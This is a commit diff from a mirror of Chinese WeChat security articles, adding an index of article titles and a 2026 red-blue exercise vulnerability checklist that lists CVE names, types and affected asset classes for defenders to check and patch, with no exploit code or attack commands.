mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
漏洞预警 | 孚盟云SQL注入漏洞、CVE-2026-43503 DirtyClone Linux提权漏洞报告、2026攻防演练必修高危漏洞集合（更新）、漏洞预警 | libssh2整数溢出漏洞、安全工具丨一款本地离线可用的可视化渗透测试与漏洞挖掘平台、开源企业级主机与容器安全管理平台 | 安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计、FOG getfiles.php 任意文件读取漏洞、已入职宇树网络安全岗，这点面试真的水∕网安挖漏洞，日入两千六有多爽,一篇总结所有平台...、针对 RHEL 10 上 IPV6_FRAG_ESCAPE 漏洞的公开 PoC 与利用细节已发布、2026攻防演练必修高危漏洞集合（2.0版）、AI彻底改写漏洞攻防：N日漏洞变N小时，企业传统防御已全面失效、成为CNNVD漏洞库支撑单位，助力网络安全！申请全流程解读，专业团队助您高效通过、2026HW必修高危漏洞集合2.0、【热点安全风险】6月30日 | 继DirtyFrag后又一Dirty系列漏洞：DirtyClone（CVE-2026-43503） Linux内核提权漏洞需重点关注、CNVD漏洞周报2026年第25期、
This commit is contained in:
test committed
1 parent
71020cd997
commit
dcf066566f
16 files changed
+3169
-114
No files matched your search
@@ -21499,5 +21499,20 @@
|
||||
"https://mp.weixin.qq.com/s/s-zmVtTIsXPSsgu973fyrg": "Github上有大哥公开多个0day PoC",
|
||||
"https://mp.weixin.qq.com/s/voZerzkRD8Kp8JZQJKWR1g": "DirtyClone: Linux 内核新漏洞，通过克隆的数据包获得根权限",
|
||||
"https://mp.weixin.qq.com/s/n0_vQovyEs0cPGTG0MRKPA": "2026攻防演练必修高危漏洞集合（2.0版）",
|
||||
"https://mp.weixin.qq.com/s/5N6vkJckrlk8XLmAYvE0qA": "攻击面管理系统｜AI 驱动资产测绘 + 万条 Nuclei 漏洞库，自动生成漏洞 EXP，内网公网一键扫描利用"
|
||||
"https://mp.weixin.qq.com/s/5N6vkJckrlk8XLmAYvE0qA": "攻击面管理系统｜AI 驱动资产测绘 + 万条 Nuclei 漏洞库，自动生成漏洞 EXP，内网公网一键扫描利用",
|
||||
"https://mp.weixin.qq.com/s/XF_KDYslbjzpdanq_jhqmQ": "漏洞预警 | 孚盟云SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/BVUDCEwV1c7XQiRbVwF-0w": "CVE-2026-43503 DirtyClone Linux提权漏洞报告",
|
||||
"https://mp.weixin.qq.com/s/Dyx7aksG3wNBawrAV-74jA": "2026攻防演练必修高危漏洞集合（更新）",
|
||||
"https://mp.weixin.qq.com/s/lm-AEYvdMrsQNRNo3DO7QA": "漏洞预警 | libssh2整数溢出漏洞",
|
||||
"https://mp.weixin.qq.com/s/hDCLKEloertyO56QYCgiAA": "安全工具丨一款本地离线可用的可视化渗透测试与漏洞挖掘平台",
|
||||
"https://mp.weixin.qq.com/s/trKsvjYuHl8e9ACUCMlb8Q": "开源企业级主机与容器安全管理平台 | 安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计",
|
||||
"https://mp.weixin.qq.com/s/UvHN_ETX7QI0cJ8pXgPGXg": "FOG getfiles.php 任意文件读取漏洞",
|
||||
"https://mp.weixin.qq.com/s/Lx7gx8xgxGwPshdSA7L97Q": "已入职宇树网络安全岗，这点面试真的水∕网安挖漏洞，日入两千六有多爽,一篇总结所有平台...",
|
||||
"https://mp.weixin.qq.com/s/EdMbFdaDhmEDx4zJTg06nA": "针对 RHEL 10 上 IPV6_FRAG_ESCAPE 漏洞的公开 PoC 与利用细节已发布",
|
||||
"https://mp.weixin.qq.com/s/Bn5UrkFqkvHZD0MaPWpa1Q": "2026攻防演练必修高危漏洞集合（2.0版）",
|
||||
"https://mp.weixin.qq.com/s/JGZFa5JSrcjjpBpl7KCD-w": "AI彻底改写漏洞攻防：N日漏洞变N小时，企业传统防御已全面失效",
|
||||
"https://mp.weixin.qq.com/s/CdDIutoSqe9FE3HekP5jBA": "成为CNNVD漏洞库支撑单位，助力网络安全！申请全流程解读，专业团队助您高效通过",
|
||||
"https://mp.weixin.qq.com/s/BoddBQjCcWeyrWyRzYUOxw": "2026HW必修高危漏洞集合2.0",
|
||||
"https://mp.weixin.qq.com/s/G4JXqTu1wHpBVw-PMW_vCQ": "【热点安全风险】6月30日 | 继DirtyFrag后又一Dirty系列漏洞：DirtyClone（CVE-2026-43503） Linux内核提权漏洞需重点关注",
|
||||
"https://mp.weixin.qq.com/s/JXbjJjLgAPxlAC8hsPS0nw": "CNVD漏洞周报2026年第25期"
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
# 2026HW必修高危漏洞集合2.0
|
||||
计算机与网络安全 2026-06-29 23:57
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
本文原文件及下列文件
|
||||
|
||||
[点这里自助下载](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655293752&idx=5&sn=7db74e77188c43c824d4b8f06fd8c27b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
2026HW必修高危漏洞集合2.0
|
||||
.pdf
|
||||
|
||||
2026HW必修高危漏洞集合1.0
|
||||
.pdf
|
||||
|
||||
2025年勒索软件态势概览报告
|
||||
.pdf
|
||||
|
||||
2026年5月勒索软件流行态势报告
|
||||
.pdf
|
||||
|
||||
2025年主流病毒趋势分析报告
|
||||
.pdf
|
||||
|
||||
2025年漏洞趋势分析报告
|
||||
.pdf
|
||||
|
||||
2025年度智能网联汽车漏洞态势分析报告
|
||||
.pdf
|
||||
|
||||
2025年APT趋势洞察报告
|
||||
.pdf
|
||||
|
||||
AI Agent攻防演练指南（2026版）
|
||||
.pdf
|
||||
|
||||
渗透测试技术要求
|
||||
.pdf
|
||||
|
||||
2026年4月勒索软件流行态势报告
|
||||
.pdf
|
||||
|
||||
教育网络靶场发展态势白皮书（2025）
|
||||
.pdf
|
||||
|
||||
漏洞挖掘智能体实践：OpenClaw生态安全风险分析
|
||||
.pdf
|
||||
|
||||
2026僵尸网络趋势报告
|
||||
.pdf
|
||||
|
||||
权限提升技术：攻防实战与技巧
|
||||
.pdf
|
||||
|
||||
DDoS攻击威胁报告（2026）
|
||||
.pdf
|
||||
|
||||
勒索软件威胁与防护年度报告（2026）
|
||||
.pdf
|
||||
|
||||
基于 MITRE ATT&CK 的对手模拟：弥合红蓝鸿沟
|
||||
.pdf
|
||||
|
||||
网络攻击溯源分析系统技术要求
|
||||
.pdf
|
||||
|
||||
2026年3月勒索软件流行态势报告
|
||||
.pdf
|
||||
|
||||
2025勒索软件攻击态势报告
|
||||
.pdf
|
||||
|
||||
Windows应急响应和安全加固
|
||||
.pdf
|
||||
|
||||
2025年中国企业邮箱安全性研究报告
|
||||
.pdf
|
||||
|
||||
Apifox供应链投毒调查分析报告
|
||||
.pdf
|
||||
|
||||
LiteLLM供应链投毒调查分析报告
|
||||
.pdf
|
||||
|
||||
ContextHub文档投毒调查分析报告
|
||||
.pdf
|
||||
|
||||
2026年02月勒索软件流行态势分析
|
||||
.pdf
|
||||
|
||||
2025年网络安全漏洞态势报告
|
||||
.pdf
|
||||
|
||||
2025开源供应链投毒分析技术报告
|
||||
.pdf
|
||||
|
||||
OWASP TOP 10 2025（中文版）
|
||||
.pdf
|
||||
|
||||
人工智能攻击
|
||||
.pdf
|
||||
|
||||
2026红队评价框架
|
||||
.pdf
|
||||
|
||||
2026年1月勒索软件流行态势分析
|
||||
.pdf
|
||||
|
||||
2025年网络空间安全漏洞态势分析研究报告
|
||||
.pdf
|
||||
|
||||
2025年全球高级持续性威胁（APT）研究报告
|
||||
.pdf
|
||||
|
||||
2025年度网络安全漏洞威胁态势研究报告
|
||||
.pdf
|
||||
|
||||
2025年度网络安全漏洞分析报告
|
||||
.pdf
|
||||
|
||||
实战化工业靶场应用指南（2025版）
|
||||
.pdf
|
||||
|
||||
2025年网络攻击威胁洞察报告
|
||||
.pdf
|
||||
|
||||
|
||||
[加入网络安全社群](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655303936&idx=2&sn=ae07eb64654d3e4471be32e7d2c52d13&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
来源：
|
||||
斗象科技
|
||||
|
||||
@@ -1,55 +1,6 @@
|
||||
# 2026攻防演练必修高危漏洞集合（2.0版）
|
||||
一起聊安全 2026-06-29 07:49
|
||||
|
||||
|
||||
|
||||
|
||||
攻防演练必修漏洞清单汇总及文章如下：
|
||||
|
||||
|
||||
**HVV文章相关：**
|
||||
|
||||
**大佬眼中的HVV？**
|
||||
|
||||
****
|
||||
**HVV在即，重大活动网络安全保障建设（两高一弱需重视）**
|
||||
|
||||
|
||||
**高危漏洞集合：**
|
||||
|
||||
[2026攻防演练必修漏洞合集](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247523757&idx=1&sn=bcfbda572e4c5fefe026e7a22aad830c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
**2024攻防演练必修高危漏洞集合**
|
||||
|
||||
****
|
||||
**2024攻防演练利器之118项必修高危漏洞合集**
|
||||
|
||||
|
||||
**划重点：2024攻防演练需要关注的高危漏洞清单**
|
||||
|
||||
|
||||
[警惕风险突出的100个高危漏洞（全）](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247514628&idx=1&sn=d8243253476b6c8e08636115e6d342e7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[2025 HVV将至，600+历年攻防演练必修漏洞合集！](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247519843&idx=1&sn=859ac3c2ec0097833a5c213cab75f3d9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[《2025年攻防演练必修高危漏洞合集》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520768&idx=1&sn=5d38e98a33103bbc9c386a357f878f50&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[《2025HW必修高危漏洞集合（3.0版）》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[护网大考！请你收下这份《2025年攻防演练必修漏洞清单》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
斗象科技
|
||||
斗象科技 乌雲安全 2026-06-30 00:10
|
||||
|
||||
高危风险漏洞一直是国内护网期间企业网络安全防护的重点风险面。随着政企单位业务系统、办公协同、ERP、CRM、运维安全、视频安防、MES、指挥调度等系统逐步国产化，红队打点目标也会更多转向国内常见应用和行业场景系统。
|
||||
|
||||
@@ -60,7 +11,7 @@ HW攻防演练在即，斗象XVI扩展漏洞情报结合近期漏洞情报、公
|
||||
。本版重点覆盖国产化环境下更常见的业务系统、协同办公、运维管理和行业应用，便于企业补充第一版之外的自查清单。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
本期报告整理收录了2026年公开披露且适合HW排查的高危漏洞，包含漏洞基础信息、影响范围、风险研判、检测思路和修复建议。企业可结合自身资产暴露面、系统重要性和可访问范围开展针对性排查。
|
||||
@@ -344,65 +295,8 @@ Oracle、Apache、Cisco、Ivanti、深信服、用友、天锐绿盾、九麒科
|
||||
minor-latin;"><span leaf="">注入</span></span></p></td><td data-colwidth="101" width="101" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;"><span style="font-size:9.0pt;line-height:150%;font-family:宋体;mso-ascii-font-family:
|
||||
Calibri;mso-ascii-theme-font:minor-latin;mso-hansi-font-family:Calibri;mso-hansi-theme-font:minor-latin;"><span leaf="">业务管理系统</span></span></p></td></tr></tbody></table>
|
||||
|
||||
**全部内容请到帮会中下载，感谢支持！！**
|
||||
扫码领取PDF版本
|
||||
|
||||
END
|
||||
|
||||
来源：
|
||||
斗象智能安全
|
||||
|
||||
**freebuf 帮会简介**
|
||||
|
||||
|
||||
|
||||
**「一起聊安全」**
|
||||
公众号及帮会
|
||||
致力于网络安全材料汇总与分享，
|
||||
围绕**网络****安全标准**
|
||||
、**安全政策法规**
|
||||
、**安全报告及白皮书**
|
||||
、**安全会议、安全方案、新技术**
|
||||
等
|
||||
方向
|
||||
，与FREEBUF知识大陆共建**【一起聊安全】帮会**
|
||||
，目前相关内容已有
|
||||
**8000+**
|
||||
，安全标准涵盖国标、行标、团标等，包括等保、关基、商密、数据安全、
|
||||
云计算、
|
||||
物联网、工业互联网、移动安全、风险评估、安全攻防等30+方向内容，覆盖最新安全政策法规
|
||||
、
|
||||
安全报告及白皮书等，为网安人提供最新最全资料。****
|
||||
|
||||
|
||||
|
||||
**加入方式：网页端和APP**
|
||||
|
||||
|
||||
|
||||
**网页端：**
|
||||
**https://wiki.freebuf.com/societyDetail?society_id=69**
|
||||
|
||||
**APP端：**
|
||||
|
||||
|
||||
|
||||
加入帮会是所有材料均可下载！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点分享**
|
||||
|
||||
|
||||
|
||||
**点收藏**
|
||||
|
||||
|
||||
|
||||
**点在看**
|
||||
|
||||
|
||||
|
||||
**点点赞**
|
||||
|
||||
@@ -0,0 +1,352 @@
|
||||
# 2026攻防演练必修高危漏洞集合（更新）
|
||||
一起聊安全 2026-06-30 01:03
|
||||
|
||||
|
||||
|
||||
|
||||
攻防演练必修漏洞清单汇总及文章如下：
|
||||
|
||||
|
||||
**HVV文章相关：**
|
||||
|
||||
**大佬眼中的HVV？**
|
||||
|
||||
****
|
||||
**HVV在即，重大活动网络安全保障建设（两高一弱需重视）**
|
||||
|
||||
|
||||
**高危漏洞集合：**
|
||||
|
||||
**2026攻防演练必修高危漏洞集合（2.0版）**
|
||||
|
||||
****
|
||||
[2026攻防演练必修漏洞合集](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247523757&idx=1&sn=bcfbda572e4c5fefe026e7a22aad830c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
**2024攻防演练必修高危漏洞集合**
|
||||
|
||||
****
|
||||
**2024攻防演练利器之118项必修高危漏洞合集**
|
||||
|
||||
|
||||
**划重点：2024攻防演练需要关注的高危漏洞清单**
|
||||
|
||||
|
||||
[警惕风险突出的100个高危漏洞（全）](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247514628&idx=1&sn=d8243253476b6c8e08636115e6d342e7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[2025 HVV将至，600+历年攻防演练必修漏洞合集！](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247519843&idx=1&sn=859ac3c2ec0097833a5c213cab75f3d9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[《2025年攻防演练必修高危漏洞合集》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520768&idx=1&sn=5d38e98a33103bbc9c386a357f878f50&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[《2025HW必修高危漏洞集合（3.0版）》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[护网大考！请你收下这份《2025年攻防演练必修漏洞清单》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
高危风险漏洞一直是企业网络安全防护体系中的薄弱环节，更是HW攻防演练期间红队实现突破的关键切入点。每逢HW期间，大量高危漏洞被红队作为突破口集中利用，成为撕开企业网络边界防线的利器。不少企业正是由于未能及时修复此类漏洞，导致整体防御体系被轻易击穿，甚至靶标失守，最终遗憾出局。
|
||||
|
||||
|
||||
|
||||
2026HW攻防演练在即，斗象XVI扩展漏洞情报深度整合了漏洞盒子的实时海量数据、白帽社区的一手情报以及FreeBuf安全门户的安全资讯，
|
||||
发布
|
||||
《2026HW必修高危漏洞集合（1.0版）》
|
||||
。旨在协助企业在HW攻防演练前期开展精准的风险自查，最大程度消除已知高危隐患，加固网络边界防线。
|
||||
|
||||
|
||||
|
||||
|
||||
本期报告整理收录了2025年10月至2026年6月在攻防演练中被红队利用最频繁且对企业危害较高的漏洞，包含了详细的漏洞基础信息、检测规则和修复方案，企业可根据自身资产信息进行针对性的排查、配置封堵策略和漏洞修复相关工作。
|
||||
|
||||
|
||||
**1**
|
||||
|
||||
**漏洞数据汇总**
|
||||
|
||||
以下数据针对2025年10月至2026年6月期间，攻防演练中红队利用率较高的漏洞进行
|
||||
系统梳理
|
||||
，
|
||||
具体汇总如下：
|
||||
- **远程代码执行**
|
||||
漏洞数量：
|
||||
13
|
||||
个
|
||||
|
||||
涉及厂商：
|
||||
Oracle、Apache ActiveMQ、Veeam、Microsoft、React、Fortra、HPE、Samba、Ivanti、Fortinet、Apache Tomcat、Kubernetes、泛微
|
||||
- **认证/授权绕过**
|
||||
|
||||
漏洞数量：
|
||||
3
|
||||
个
|
||||
|
||||
涉
|
||||
及厂商：
|
||||
Check Point、Palo Alto Networks
|
||||
、
|
||||
Next.js
|
||||
- **SQL 注入漏洞**
|
||||
|
||||
漏洞数量：
|
||||
3
|
||||
个
|
||||
|
||||
涉及
|
||||
厂商：
|
||||
Drupal、用友时
|
||||
空、孚盟云
|
||||
|
||||
- **内存破坏/RCE风险**
|
||||
|
||||
漏洞数量：
|
||||
2
|
||||
个
|
||||
|
||||
涉
|
||||
及厂商
|
||||
：
|
||||
7-Zip、Google
|
||||
- **其他**
|
||||
|
||||
漏洞数量：13
|
||||
|
||||
漏洞类型：
|
||||
命令注入/提权、
|
||||
反序列化、
|
||||
路径遍历/文件读取、
|
||||
反序列化绕过、
|
||||
本地提权、
|
||||
访问控制错误、
|
||||
任意文件下载
|
||||
|
||||
涉及厂商：
|
||||
Cis
|
||||
co、
|
||||
用友、
|
||||
XWiki、
|
||||
Apache、
|
||||
Linux Kernel、
|
||||
通达OA
|
||||
|
||||
|
||||
**2**
|
||||
|
||||
**本次高危漏洞自查列表**
|
||||
|
||||
<table><tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"><td data-colwidth="221" width="221" style="border:1pt solid windowtext;background:rgb(31, 78, 121);padding:0cm 5.4pt;background-color:#00d5ff;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><b style="mso-bidi-font-weight:normal;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";color:white;mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="" mpa-font-style="mqhnzixr1qyn" style="color: rgba(0, 0, 0, 0.9);" data-mpa-action-id="mqhnziybp44" data-pm-slice="0 0 []">漏洞名称</span></span></b></p></td><td data-colwidth="120" width="120" style="border-width:1pt 1pt 1pt medium;border-style:solid solid solid none;border-color:windowtext windowtext windowtext currentcolor;border-image:initial;background:rgb(31, 78, 121);padding:0cm 5.4pt;background-color:#00d5ff;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><b style="mso-bidi-font-weight:normal;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";color:white;mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf=""><span textstyle="" style="color: rgb(0, 0, 0);">漏洞编号</span></span></span></b></p></td><td data-colwidth="89" width="89" style="border-width:1pt 1pt 1pt medium;border-style:solid solid solid none;border-color:windowtext windowtext windowtext currentcolor;border-image:initial;background:rgb(31, 78, 121);padding:0cm 5.4pt;background-color:#00d5ff;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><b style="mso-bidi-font-weight:normal;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";color:white;mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf=""><span textstyle="" style="color: rgb(0, 0, 0);">类型</span></span></span></b></p></td><td data-colwidth="110" width="110" style="border-width:1pt 1pt 1pt medium;border-style:solid solid solid none;border-color:windowtext windowtext windowtext currentcolor;border-image:initial;background:rgb(31, 78, 121);padding:0cm 5.4pt;background-color:#00d5ff;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><b style="mso-bidi-font-weight:normal;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";color:white;mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf=""><span textstyle="" style="color: rgb(0, 0, 0);">资产类别</span></span></span></b></p></td></tr><tr style="mso-yfti-irow:1;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Check Point Remote Access VPN 认证绕过漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-50751</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">认证绕过</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">边界设备/VPN</span></span></p></td></tr><tr style="mso-yfti-irow:2;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Oracle PeopleSoft 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-35273</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">企业应用/ERP</span></span></p></td></tr><tr style="mso-yfti-irow:3;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Palo Alto Networks PAN-OS GlobalProtect 认证绕过漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-0257</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">认证绕过</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">边界设备/VPN</span></span></p></td></tr><tr style="mso-yfti-irow:4;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Cisco Catalyst SD-WAN Manager 命令注入提权漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-20245</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
